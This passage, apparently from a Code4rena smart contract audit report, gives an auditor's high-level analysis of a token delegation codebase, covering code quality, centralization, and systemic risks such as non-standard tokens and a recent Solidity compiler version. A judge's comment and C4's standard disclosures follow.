Codebase quality analysis
In general, the quality of the code base is quite high. The huge number of comments in NatSpec makes it very easy to determine what a particular function is intended for.
The downside is the use of assembler for gas optimization, which is not comparable to the damage it causes to code readability.
Centralization risks
There is no risk of centralization since all rights are divided between the Delegate Token
and the PrincipalToken
. The only exception is CreateOfferer
, which relies on the seaport
address, which is immutable, but it is possible that the contract address will change in the future, it would be useful to add a function that allows you to change the address if necessary
Systemic risks
The contract is used to delegate all types of tokens (ERC20
, ERC721
, ERC1155
), but does not take into account that some tokens do not follow the standards.
Contracts are programmed for version ^0.8.21, by default the compiler will use version 0.8.21, which is very recent and may contain undetected vulnerabilities, as well as compatibility problems with different L2 chains.
New insights and learning from this audit
I learned about CreateOfferer
seaport integration, all other concepts were well known to me.
Time spent
33 hours
Alex the Entreprenerd (judge) commented:
Imo proper way to discuss coverage
+
Interesting charts for packing and logic on delegation
Disclosures
C4 is an open organization governed by participants in the community.
C4 Audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.